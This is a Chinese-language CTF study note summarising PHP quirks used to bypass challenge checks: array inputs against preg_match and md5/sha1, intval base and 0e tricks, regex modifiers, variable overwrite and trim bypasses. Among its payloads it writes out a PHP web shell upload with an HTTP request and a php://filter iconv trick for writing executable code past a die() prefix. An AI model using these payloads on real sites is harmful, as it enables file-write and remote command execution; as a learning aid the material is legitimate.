PHP特性总结

数组绕过正则表达式

1
2
3
4
5
6
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
else(intval($num)){
echo $flag;
}

preg_match("/[0-9]/", $num)

  • 作用:检查 $num 是否包含 数字 0-9
  • 如果包含,就 die("no no no!"); 终止程序
  • 如果不包含,执行 elseif (intval($num))

intval($num)

  • 作用:尝试将 $num 转换为整数
  • 如果转换结果为真(非 0),就输出 $flag
  • 如果转换结果为 0,则不输出 $flag

preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句

1
payload: num[]=1

[!IMPORTANT]

num[]=1绕过原理分析

  1. 绕过 preg_match()

当你传递 num[]=1 作为参数时,$num 变成了一个包含单个元素的数组:array(1)

preg_match("/[0-9]/", $num) 试图在数组中查找数字,然而 preg_match() 只接受字符串类型作为参数,因此它会触发一个警告并返回 false。由于警告不会阻止代码继续执行,preg_match() 不会成功匹配数字,导致代码继续进入 elseif 分支。

  1. 触发 intval($num)

对于 intval($num),如果 $num 是一个 非空数组(比如 array(1)),PHP 会将其转化为 **1**,因此条件 intval($num) 会成立,进入 elseif 分支并触发 echo $flag

intval函数的使用

1
2
3
4
5
6
7
8
9
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
else{
echo intval($num,0);
}

intval( mixed $value, int $base = 10) : int

  • base 参数的值为 0 时,intval() 会根据输入字符串的 前缀 自动推断进制
  • 如果字符串以 0x0X 开头,则该字符串会被视为 十六进制 数字
  • 如果字符串以 0 开头,则该字符串会被视为 八进制 数字
  • 其他情况,则会将该字符串视为 十进制 数字

用科学计数法绕过

1
2
3
4
5
6
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
1
payload: num=4476.0

正则表达式修饰符

1
2
3
4
5
6
7
8
9
10
11
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

i(不区分大小写):意味着 phpPHPPhP 都能匹配。

m(多行模式)

  • ^ 代表 每一行 的开头,而不是整个字符串的开头。
  • $ 代表 每一行 的结尾,而不是整个字符串的结尾。

如果 $a 满足第一个条件 /^php$/im(不区分大小写且支持多行匹配),就进入内部的判断。

  • 如果 $a 仅等于 "php"(不区分大小写),则输出 "hacker"
  • 如果 $a 满足第一个正则表达式,但不完全等于 "php",则输出 $flag

如果 $a 没有匹配第一个条件 /^php$/im,则输出 "nonononono"

1
payload: %0aphp   或   php%0aphp

highlight_file路径

1
2
3
4
5
6
if($_GET['u']=='flag.php'){
die("no no no");
}
else{
highlight_file($_GET['u']);
}

if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:

1
2
3
?u=php://filter/read=convert.base64-encode/resource=flag.php     php伪协议
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径

md5比较缺陷

1
2
3
4
5
6
7
if ($_POST['a'] != $_POST['b']) {
if (md5($_POST['a']) === md5($_POST['b'])) {
echo $flag;
} else {
print 'Wrong.';
}
}

我们需要找到两个 不相等的值,但它们的 md5() 计算结果相同,即 MD5 碰撞

md5弱比较

不同数据强相等(===)

未使用强制类型转化

MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的

1
payload: a[]=1&b[]=2

不同数据弱相等(==)

1
payload: a=QNKCDZO&b=240610708

科学记数法绕过

0e 开头的字符串会被 PHP 识别为 科学记数法,并转换为数字 0,只需找两个md5后都为0e开头且0e

后面均为数字的值即可

1
payload:a=0e215962017&b=0e0

md5强碰撞

1
2
3
4
5
$a = (string)$a;
$b = (string)$b;
if( ($a !== $b) && (md5($a) === md5($b)) ) {
echo $flag;
}

这里的条件要求 $a$b 必须 不相等,但它们的 MD5 哈希值相同

1
2
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

sha1比较缺陷

1
2
3
4
5
if($a==$b){
if(sha1($a)==sha1($b)){
echo $flag;
}
}

sha1无法处理数组,如上可使用a[]=1&b[]=1数组绕过

如果强制类型转换,则不接受数组,找真正的编码后相同的

1
2
3
4
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

三目运算符的理解+变量覆盖

1
2
3
4
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
1
$_GET ? $_GET = &$_POST : 'flag';

$_GET 数组不为空,则将 $_GET 的引用赋值给 $_POST$_GET$_POST 会指向相同的数据

1
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';

如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_COOKIE$_GET$_COOKIE 将指向相同的数据

1
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';

如果 $_GET['flag'] 的值为 'flag',则将 $_GET 数组的引用赋值给 $_SERVER。这使得 $_GET$_SERVER 指向相同的数据

1
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);

该行会高亮显示文件内容,条件是 $_GET['HTTP_FLAG'] 等于 'flag'。如果条件为真,它会显示 $flag 变量的内容;否则,它会显示当前脚本文件的内容

1
2
3
payload:
GET 请求: 1=1
POST 请求: HTTP_FLAG=flag

php弱类型比较

1
2
3
4
5
6
7
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
1
2
3
payload:
GET 请求: ?n=1.php //1可替换成其他数字进行尝试
POST 请求: content=<?php system($_GET['cmd']); ?>

如:

假设我们找到了合法的 $_GET['n']=123,我们可以上传 Webshell:

1
2
3
4
5
POST /vuln.php?n=123 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

content=<?php system($_GET['cmd']); ?>

然后访问:

1
http://target.com/123?cmd=whoami

and与&&的区别

1
2
3
4
5
$a = false && true;
$b = false and true;

var_dump($a); // 输出: false
var_dump($b); // 输出: true

false && true 先计算 false && true(结果是 false),然后赋值给 $a

false and true 先执行 $b = false,然后 true 没有影响。

PHP双$($$)的变量覆盖

在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名

1
2
3
4
$test="a23"; $test等于a23
$$test=456; $$test也就等于$a23,这里相当于给$a23赋值了
echo $test; 正常输出$test为a23
echo $$test; 这里输出$$test,就是$a23,为456

parse_str函数的使用

parse_str会把字符串解析为变量,大部分是传入的多个值

1
2
3
4
5
6
7
$a="q=123&p=456";
parse_str($a);
echo $q; 输出123
echo $p; 输出456
parse_str($a,$b); 第二个参数作为数组,解析的变量都存入这个数组中
echo $b['q']; 输出123
echo $b['p']; 输出456

trim函数的绕过+is_numeric绕过

trim() 函数用于去除字符串两端的空白字符(包括空格、制表符、换行符等)

trim默认时没有剔除%0c(换页符)

1
2
3
4
5
6
7
if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}
1
payload: num=%0c36

绕过死亡die

1
2
3
4
5
6
7
8
9
10
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$
x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
1
2
3
payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

这会将字符两位两位交换,file_put_contents在写入的时候会破坏那句die,但contents那句恢复原貌,

可以执行

gettext拓展的使用

1
var_dump(call_user_func($f1,$f2));

如以上代码,多重过滤后,f1可以为 gettext ,f2可以为 phpinfo ,如果过滤更为严格,更改ini文件里

的拓展后, _() 等效于 gettext()

1
2
3
4
5
<?php
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo

php特性总结